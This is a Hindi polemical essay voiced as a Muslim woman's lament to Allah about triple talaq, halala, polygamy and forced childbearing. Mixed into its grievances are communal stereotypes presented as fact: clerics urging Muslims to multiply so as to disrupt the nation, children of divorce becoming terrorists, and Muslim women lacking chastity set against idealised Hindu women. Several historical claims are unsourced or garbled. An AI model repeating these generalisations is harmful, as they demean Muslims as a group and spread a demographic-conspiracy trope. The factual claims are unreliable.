प्रेम , तो हमारे जीवन में कभी आता ही नहीं है । प्रकाश की एक किरण कभी देखी नहीं । प्यार का उदाहरण तो बेगम मुमताज में ही देख पाते हैं जिसकी याद में अपूर्व शिल्पकला युक्त ताजमहल शाहजहां ने बनवाया था । उसी बेगम की मृत्यु तेरह संताने पैदा करने के बाद, जब संतान धारण करने के ताकत न रहने के बाद भी गर्भधारण करना पड़ा तो अंतिम संतान के जन्म में मौत के आगोश में सो गयी । यह है मुस्लिम बादशाह के प्यार का अनोखा ढंग । अब तुम ही बताओं ऐ अल्लाह ! जहां शहजादियों के प्रेमी या प्यारी बेगमों की यह हालत है तो हम जैसी साधारण मुस्लिम महिलाओं का तो कहना ही क्या ? हमारे प्यार के पैमाने को तुम ही नाप सकते हो अल्लाह ! तलाक वाली तीखी धार तलवार महिलाओं के सिर पर कब आ गिरे कुछ कहा नहीं जा सकता, अगर कही पान में चूना लगाने में तनिक देरी हो जाए तो तलाक की तलवार से कब कत्ल होना पड़े कुछ भरोसा नहीं । मियां जी की मन की मौज उनकी मर्जी से मजाक में भी तीन बार तलाक कह देने से सालों साल का विवाहित जीवन कब बिखर जाए कुछ कहा नहीं जा सकता । ऐसे तलाक का परिणाम छोटे बच्चे मां के प्यार से विहीन, नन्हें मुन्ने बिलखते हुए बच्चे, स्वास्थ्य से रहित उपेक्षा व अनादर का जीवन जीते जीतेकब आतंकियों की जमात में चले जाते हैं पता ही नहीं चलता । अन्य समाजों मे ऐसा नहीं होता यह बात नहीं है पर धर्म के नाम पर वहां ऐसा नहीं होता । मौलवी लोग मियांओं को इस प्रकार का उपदेश देते हैं कि बच्चे पैदा करके फायदा उठाओ, संख्या बढ़ाओ और देश व्यवस्था में अव्यवस्था फैलाओ । पर अल्लाह ! उनके पागलपनें की धुन को सहन करते हैं हम मां बनकर । विवाहित मुस्लिम स्त्री कभी खाली नहीं रहती या तो गोद में या गर्भ में एक न एक बच्चा रहेगा । शीलहीन, स्वास्थ्यहीन होकर विचित्र जिन्दगी जीनी होती है उसे हम लोग पड़ोस में ही हिन्दू नारियों की जिन्दगी देखते ही रहते हैं । अहा ! कितनी पवित्रता, शुचिता, प्रेम और विश्वासपूर्ण जीवन जीती हैं । पर हमारे जीवन में पवित्रता, व सतीत्व के अवसर ही कहां हैं ? तलाक के बाद अगर मियां जी को पश्चाताप हो तो घर में बीबी को रख नहीं सकते क्योंकि इस्लाम की शरीयत का पंजा अड़ाकर मौलवी लोग मार्ग अवरुद्ध कर देगें । यदि वह लड़की वापिस अपने पति के पास लौटना चाहे और पति रखनाचाहे तो एक नयी यातना झेलनी होगी । फिर एक दूसरे मियां के साथ शादी रचाए, उस शादी के तीन दिन व तीन रात घृणामय दाम्पत्य जीवन बिताने के बाद वह महिला पवित्र होगी व कुवारी मानी जाएगी । फिर यदि वह मियांजी कृपा करके तलाक की भीख देगें तो ही पूर्व पति उसे ग्रहण कर सकता है । अगर कहीं लड़की खुदा की दया से सुंदर हो तो बहुतों का मन बदल जाता है और तलाक नहीं देते और परिणामस्वरूप खूना खानी तक हो जाती है । ऐसा है हमारा जीवन । ओ अल्लाह ! किसे कहें ? किससें बोले अपनी व्यथा ? यदि विवाह करें तो भंयकर सजा मिले, शिकायत करें तो मुखालफत ।
इस पृथ्वी के समस्त धर्मों में कौमार्य, ब्रह्‌मचर्य , पवित्रता आदि की मान्यता है परन्तु हमारे यहां नहीं, । हमारे समाज में बहुशिक्षित मुसलमान तो हैं और इन बातों को वे जानते भी हैं परन्तु मजा लूटने के लोभी वे भी है इसीलिए कोई भी इसके विरोध में कुछ नहीं कहता । अधिक आधुनिक शिक्षित जो हैं वे हिन्दू समाज के आसपास चक्कर काटते रहते हैं वे भी हमारी सुध लेने की जरूरत नहीं समझते शायद इससे ही हमारी तरफ देखकर काजी अब्दुल ओद्ध ने एक बार कह डाला कि चौदह सौ वर्षों के इतिहास में इस्लाम मानव सभ्यता के अन्धकार में एक छोटा सा चिराग भी न जला सका और आबू सय्‌यद समग्र जीवन रवीन्द्र की चर्चा करते रह गए । इसी प्रकार एमसी छागला , उपराष्ट्रपति हिदायतुल्लाह, सिकन्दर बख्त, डा. जिलानी, सैय्‌यद सुजतबा अली आदि जो हमारे समाज में मनुष्यता में श्रेष्ठ हुए वे सब इस मुस्लिम समाज से किनारा करते मुक्त हिन्दू समाज के निकट ही रहने लगे । इसी कारण हम मुस्लिम महिलांए मुल्ला मौलवी के शासन के अधीन अन्धकार भरा जीवन जीते हुए, भर्राए हुए ह्‌रद्य सेरुदन भरा व असहनीय यातनाओं भरा जीवन जीने के लिए रह गयीं । कोई साहित्यकार अथवा पत्रकार हमारे जीवन के कष्टमय अन्त स्थल में नहीं झांक सका, कोई हमारे दुखद आसुंओं को नहीं देख पाया, किसी ने कोई किस्सा कहानी या निबन्ध नहीं लिखा । भारत सरकार ने हमें वोट देने का अधिकार तो दिया परन्तु हमारी सुधि लेने के लिए कोई कार्य नहीं किया जिससे हमारा जीवन शांति से व्यतीत हो सके । हिन्दू नारियों के लिए हिन्दू कोड बिल पास करके उनको सुख पूर्वक रहने का अधिकार मिल गया पर हमारे लिए कुछ भी ऐसा नहीं किया गया । हमारे समाज ने कोई भी तब्दीली मुस्लिम विवाह पद्धति में नहीं की है । मार्क्सवादियों के ऊपर भरोसा था पर उन्होंने भी हमारे लिए कुछ नहीं किया जबकि तजाकिस्तान, उज्बेकिस्तान, तुर्कमानिस्तान आदि देशों में मुस्लिम स्त्रियां मार्क्सवादी शासन में मुक्त हो गयी हैं । अब अरब देशों से आकर कोई शेख उन्हें खरीदने की जुर्रत नहीं कर सकता । कोई भी उन्हें जबरदस्ती बाहर नहीं ले जा सकता । अब वह अत्याधिक बच्चे पैदा करने के बोझ से मुक्त हो चुकी हैं । हर वक्त गर्भ धारण की परिस्थिति से भी वह स्वतंत्र हो चुकी हैं । अब कोई भी मुल्ला उनके जीवन का नियंता नहीं । परन्तु हमारे देश के मार्क्सवादी तो मुल्लाओं के ही वश में हैं । मंसूर हबीबुल्ला जैसे कट्टर मार्क्सवादी भी मुल्लाओं के अधीन मियाओं को प्रसन्न करने के लिए मक्का गए, हज करके हाजी बने ।
हे अल्लाह ! तुमने हमारे लिए कही भी शांति व अवसर का नहीं छोड़ा । हमारे प्रति तुम्हारी सदा ही उदासीनता और उपेक्षा बनी ही रहीं । अनन्त यातनाओं में हमारे दिन व रात बीतते हैं । संसार की सभ्यतांए कई कुप्रथाओं को छोड़कर उन्नति की मंजिल की ओर बढ़ती रहीं पर हम जस की तस वहीं की वहीं बैठी रहीं । यहां तक की हिन्दू समान ने सती प्रथा जैसी वीभत्स प्रथा को समाप्त कर दिया । बाल विवाह व वृद्ध कें साथ विवाह की प्रथा को भी समाप्त करने के लिए कानूनी जामा पहना दिया है । समय के प्रभाव से सभी अमानवीय प्रथाएं समाप्त हो गयी हैं । पर हमारे मुस्लिम महिलाओं के लिए तो कुछ भी नहीं हुआ । हमारे मुस्लिम समाज में भी परिवर्तन तो घटित हुए हैं पर सब पुरुषों की अनुकूलता के लिए ही । ईराक में बसरा के पास एक गांव था जो खोजियों ( हिजड़ा ) युवकों के लिए प्रसिद्ध था । खोजी लोग ज्यादा तर नौजवान किशोर होते थे जो अप्राकृतिक व अमानवीय तरीके से खोजी बनाए जाते थे । इस अवैज्ञानिक प्रक्रिया में में ६० लड़के मृत्यु को प्राप्त हो जाया करते थे । ये खोजी सुल्तान, धनी व बादशाहों के हरम की चौकीदारी किया करते थे ताकि हरम से स्त्रियां भाग न सकें । अब इस कातिल प्रथा का अन्त होचुका है । हम आज भी उसी कत्लगाह में रह रहीं हैं । हमारे समाज के पुरुष आज भी हमारे आंसुओं के प्रति उदासीन हैं । केवल सम्पत्तिका अधिकार देकर समझते हैं कि हमें सब कुछ दे दिया है । कितना बढ़िया है यह सम्पत्ति का अधिकार जबकि हमारा निकाह आज भी अनिश्चित है । यह संपत्ति का अधिकार हमें तलाक से कितनी निजात दिला सकता है । मुस्लिम पर्सनल लॉ के कारण मुस्लिम महिला का जीवन लांछनमय हो गया है । उत्तर भारत के प्रख्यात पत्रकार मुजफ्‌फर हुसैन ने लिखा है तलाक तलाक तलाक के नाम से एक फिल्म हिन्दी भाषा में तैयार हो रही थी हमारे मियांओं ने फिल्म के शीर्षक को लेकर आपत्ति प्रकट की और फिल्म का नाम बदलकर निकाह कर दिया गया । अब आपको बताते है कि फिल्म का नाम बदलने के लिए कौन से कारण बताए गए । मियांओं ने यह कहा कि मानों जब मियांजी फिल्म देख कर घर लौटे और बीवी ने पूछ लिया कि कौन सी फिल्म देख कर आए हो । जवाब में मियां जी ने कहा तलाक तलाक तलाक । तो तीन शब्दों में बीवी का जीवन हलाक हो जाएगा । अजीव तमाशा है फिल्म का नाम भी बताने पर मुस्लिम महिला कष्टमय जीवन बिताने पर मजबूर हो जाएगी ।
ईरान में खुमैनी के शासन में सैकड़ों महिलाओं की हत्या कर दी गयी , उनका अपराध क्या ? केवल खुमैनी के मुस्लिम शासन के विरुद्ध थोड़ी सी जुबान खोलना बस इसी कारण इस्लाम के नाम पर उनको नरकपूर्ण जीवन बिताने पर मजबूर होना पड़ा । सैकड़ों महिलाऒं ने अपनी जीवन लीला समाप्त कर दी । क्योंकि इस्लाम में इस्लाम के विरुद्ध बोलने का हक किसी को नहीं है । विष्णु उपाध्याय ने इस घटना के बाबत आजकल समाचारपत्र में लिखा परन्तु आज तक एक भी शब्द मुस्लिम जगत नहीं बोला । यदि अन्य समाज की महिलाओं के साथ बलात्कार होता है तो समाचार पत्र उसकी चीख पुकार से काले को उठते हैं । एक आंधी, एक तूफान, एक हलचल सी मच जाती है ऐसी घटना के विरुद्ध । पर इस्लाम का अर्थ तो शान्ति चुपचाप, खामोशी से सब देखना है । ओ अल्लाह ! तुम ही हमारा करुण क्रंदन सुनो । तुम्हें न कहें तो किसे कहें ? कौन सी दर पर दरवाजा खटखटाएं ? तुमने हमारे लिए कोई सुख का अवसर क्यों न छोड़ा । धनी घर में बेगमें बनें तो असंख्य सौतों के बीच में विलास का साधन बनकर रह जांए । ईर्ष्या और प्रतिद्वदिता का जीवन जिएं । अगर गरीब घर में पहुंचे तो दिन रात जी तोड़, कमर तोड़ मजदूरी और उस पर भी हर साल संतान पैदा करना । पूरे समय गर्भ धारण करना यही हमारे भाग्य में लिखा है । गरीब घर की बेगम बनकर हमारी तकदीर में तलाक की तलवार जिधर भी जाएं लटकी ही रहती है । इस तलाक से हमारे बच्चे भी भिखारी बनकर या अपराधी बनकर दर दर की ठोकरें खाने को मजबूर हो जाते हैं । हावड़ा स्टेशन के आस पास ऐसी ही परित्यक्ता महिलांए व उनके बच्चों की भीड़ देखी जा सकती है । वहां पर दाड़ी वाले मुल्ला जी की उपस्थिति भी इसीलिए होती है ताकि वह देखता रहे कि इन महिलाओं व बच्चों ने इस्लाम तो नहीं छोड़ा । उन दाड़ी वाले मुल्ला का उनके स्वास्थ्य से कोई लेना देना नहीं । वह अच्छे इंसान बनते हैं या नहीं उससे भी मुल्ला जी का कोई सरोकार नहीं । हे अल्लाह ! मुस्लिम स्त्रियों की जिन्दगी में दुख, वेदना, हताशा व दरिद्रता के सिवाय कुछ नहीं बचता । उनके पास आंसुओं की सम्पत्ति , चुपचाप सिसकने की इजाजत के सिवा कुछ भी नहीं । इसी से ऐ अल्लाह ! हमें रोने दो , शान्ति से रोने दो , तबतक रोने दो जब तक हम मौत को प्राप्त नहीं होतीं । अल्लाह कृपया हमें अकेला ही छोड़ दो ।

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